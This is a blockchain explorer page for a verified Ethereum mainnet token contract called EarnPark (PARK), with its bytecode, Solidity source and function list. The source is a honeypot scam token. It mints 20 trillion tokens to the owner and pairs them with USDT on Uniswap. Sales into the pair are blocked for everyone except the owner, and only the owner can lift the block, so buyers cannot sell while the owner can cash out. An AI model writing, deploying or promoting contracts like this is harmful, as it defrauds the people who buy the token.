Forkchoice Ethereum Mainnet

Address Contract Verified

Address 0xee7775e89056055E07c2D366708D6480763f69F7
Balance 0 ETH
Nonce 1
Code Size 4128 bytes
Indexed Transactions 0 (1 on-chain, 0.9% indexed)
External Etherscan · Sourcify

Contract Bytecode

4128 bytes
0x608060405234801561000f575f5ffd5b50600436106100f3575f3560e01c806332fe7b2611610095578063a8aa1b3111610064578063a8aa1b3114610263578063a9059cbb14610281578063c54e44eb146102b1578063dd62ed3e146102cf576100f3565b806332fe7b26146101d957806370a08231146101f75780638da5cb5b1461022757806395d89b4114610245576100f3565b806318160ddd116100d157806318160ddd1461016357806323b872dd146101815780632a85e9ac146101b1578063313ce567146101bb576100f3565b806306fdde03146100f7578063095ea7b3146101155780630a5ca5a914610145575b5f5ffd5b6100ff6102ff565b60405161010c9190610afb565b60405180910390f35b61012f600480360381019061012a9190610bac565b61038a565b60405161013c9190610c04565b60405180910390f35b61014d610477565b60405161015a9190610c04565b60405180910390f35b61016b61048a565b6040516101789190610c2c565b60405180910390f35b61019b60048036038101906101969190610c45565b610490565b6040516101a89190610c04565b60405180910390f35b6101b96105f0565b005b6101c361069b565b6040516101d09190610cb0565b60405180910390f35b6101e16106ad565b6040516101ee9190610cd8565b60405180910390f35b610211600480360381019061020c9190610cf1565b6106c5565b60405161021e9190610c2c565b60405180910390f35b61022f6106da565b60405161023c9190610cd8565b60405180910390f35b61024d6106ff565b60405161025a9190610afb565b60405180910390f35b61026b61078b565b6040516102789190610cd8565b60405180910390f35b61029b60048036038101906102969190610bac565b6107b0565b6040516102a89190610c04565b60405180910390f35b6102b96107c6565b6040516102c69190610cd8565b60405180910390f35b6102e960048036038101906102e49190610d1c565b6107de565b6040516102f69190610c2c565b60405180910390f35b5f805461030b90610d87565b80601f016020809104026020016040519081016040528092919081815260200182805461033790610d87565b80156103825780601f1061035957610100808354040283529160200191610382565b820191905f5260205f20905b81548152906001019060200180831161036557829003601f168201915b505050505081565b5f8160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104659190610c2c565b60405180910390a36001905092915050565b600760149054906101000a900460ff1681565b60035481565b5f8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561054c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054390610e01565b60405180910390fd5b8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105d39190610e4c565b925050819055506105e58484846107fe565b600190509392505050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461067f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067690610ec9565b60405180910390fd5b5f600760146101000a81548160ff021916908315150217905550565b60025f9054906101000a900460ff1681565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6005602052805f5260405f205f915090505481565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461070c90610d87565b80601f016020809104026020016040519081016040528092919081815260200182805461073890610d87565b80156107835780601f1061075a57610100808354040283529160200191610783565b820191905f5260205f20905b81548152906001019060200180831161076657829003601f168201915b505050505081565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6107bc3384846107fe565b6001905092915050565b73dac17f958d2ee523a2206206994597c13d831ec781565b6006602052815f5260405f20602052805f5260405f205f91509150505481565b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561087e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087590610f31565b60405180910390fd5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156108e65750600760149054906101000a900460ff165b1561097b5760045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097190610f99565b60405180910390fd5b5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546109c79190610e4c565b925050819055508060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a1a9190610fb7565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a7e9190610c2c565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610acd82610a8b565b610ad78185610a95565b9350610ae7818560208601610aa5565b610af081610ab3565b840191505092915050565b5f6020820190508181035f830152610b138184610ac3565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610b4882610b1f565b9050919050565b610b5881610b3e565b8114610b62575f5ffd5b50565b5f81359050610b7381610b4f565b92915050565b5f819050919050565b610b8b81610b79565b8114610b95575f5ffd5b50565b5f81359050610ba681610b82565b92915050565b5f5f60408385031215610bc257610bc1610b1b565b5b5f610bcf85828601610b65565b9250506020610be085828601610b98565b9150509250929050565b5f8115159050919050565b610bfe81610bea565b82525050565b5f602082019050610c175f830184610bf5565b92915050565b610c2681610b79565b82525050565b5f602082019050610c3f5f830184610c1d565b92915050565b5f5f5f60608486031215610c5c57610c5b610b1b565b5b5f610c6986828701610b65565b9350506020610c7a86828701610b65565b9250506040610c8b86828701610b98565b9150509250925092565b5f60ff82169050919050565b610caa81610c95565b82525050565b5f602082019050610cc35f830184610ca1565b92915050565b610cd281610b3e565b82525050565b5f602082019050610ceb5f830184610cc9565b92915050565b5f60208284031215610d0657610d05610b1b565b5b5f610d1384828501610b65565b91505092915050565b5f5f60408385031215610d3257610d31610b1b565b5b5f610d3f85828601610b65565b9250506020610d5085828601610b65565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610d9e57607f821691505b602082108103610db157610db0610d5a565b5b50919050565b7f4e6f20616c6c6f77616e636500000000000000000000000000000000000000005f82015250565b5f610deb600c83610a95565b9150610df682610db7565b602082019050919050565b5f6020820190508181035f830152610e1881610ddf565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610e5682610b79565b9150610e6183610b79565b9250828203905081811115610e7957610e78610e1f565b5b92915050565b7f4e6f74206f776e657200000000000000000000000000000000000000000000005f82015250565b5f610eb3600983610a95565b9150610ebe82610e7f565b602082019050919050565b5f6020820190508181035f830152610ee081610ea7565b9050919050565b7f4c6f772062616c616e63650000000000000000000000000000000000000000005f82015250565b5f610f1b600b83610a95565b9150610f2682610ee7565b602082019050919050565b5f6020820190508181035f830152610f4881610f0f565b9050919050565b7f53656c6c20626c6f636b656400000000000000000000000000000000000000005f82015250565b5f610f83600c83610a95565b9150610f8e82610f4f565b602082019050919050565b5f6020820190508181035f830152610fb081610f77565b9050919050565b5f610fc182610b79565b9150610fcc83610b79565b9250828201905080821115610fe457610fe3610e1f565b5b9291505056fea2646970667358221220ed9bfeca245d1436b2e0c3f29405ce95186a3cf83b8b1616e7d417716787ef3a64736f6c634300081f0033

Verified Source Code Full Match

Compiler: v0.8.31+commit.fd3a2265 EVM: osaka Optimization: No
EarnPark.sol 95 lines
/**
 *Submitted for verification at etherscan.io on 2026-03-01
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IRouter {
    function factory() external view returns (address);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract EarnPark {

    string public name = "EarnPark";
    string public symbol = "PARK";
    uint8 public decimals = 18;

    uint256 public totalSupply;
    address public owner;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    // ==== HARD-CODED (Ethereum Mainnet) ====
    address public constant ROUTER =
        0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Uniswap V2
    address public constant USDT =
        0xdAC17F958D2ee523a2206206994597C13D831ec7; // USDT

    address public pair;
    bool public sellBlocked = true;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    constructor() {
        owner = msg.sender;

        // ===== 20 TRILLION SUPPLY =====
        totalSupply = 20_000_000_000_000 * 10 ** decimals;
        balanceOf[owner] = totalSupply;

        pair = IFactory(IRouter(ROUTER).factory())
            .createPair(address(this), USDT);

        emit Transfer(address(0), owner, totalSupply);
    }

    // ===== TRANSFER =====
    function transfer(address to, uint256 amount) external returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(balanceOf[from] >= amount, "Low balance");

        // Public SELL blocked (to pair)
        if (to == pair && sellBlocked) {
            require(from == owner, "Sell blocked");
        }

        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
    }

    // ===== APPROVALS =====
    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        require(allowance[from][msg.sender] >= amount, "No allowance");
        allowance[from][msg.sender] -= amount;
        _transfer(from, to, amount);
        return true;
    }

    // ===== OWNER CONTROL =====
    function unblockSell() external onlyOwner {
        sellBlocked = false;
    }
}

Read Contract

ROUTER 0x32fe7b26 → address
USDT 0xc54e44eb → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
pair 0xa8aa1b31 → address
sellBlocked 0x0a5ca5a9 → bool
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 4 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
unblockSell 0x2a85e9ac
No parameters

Recent Transactions

This address has 1 on-chain transactions, but only 0.9% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →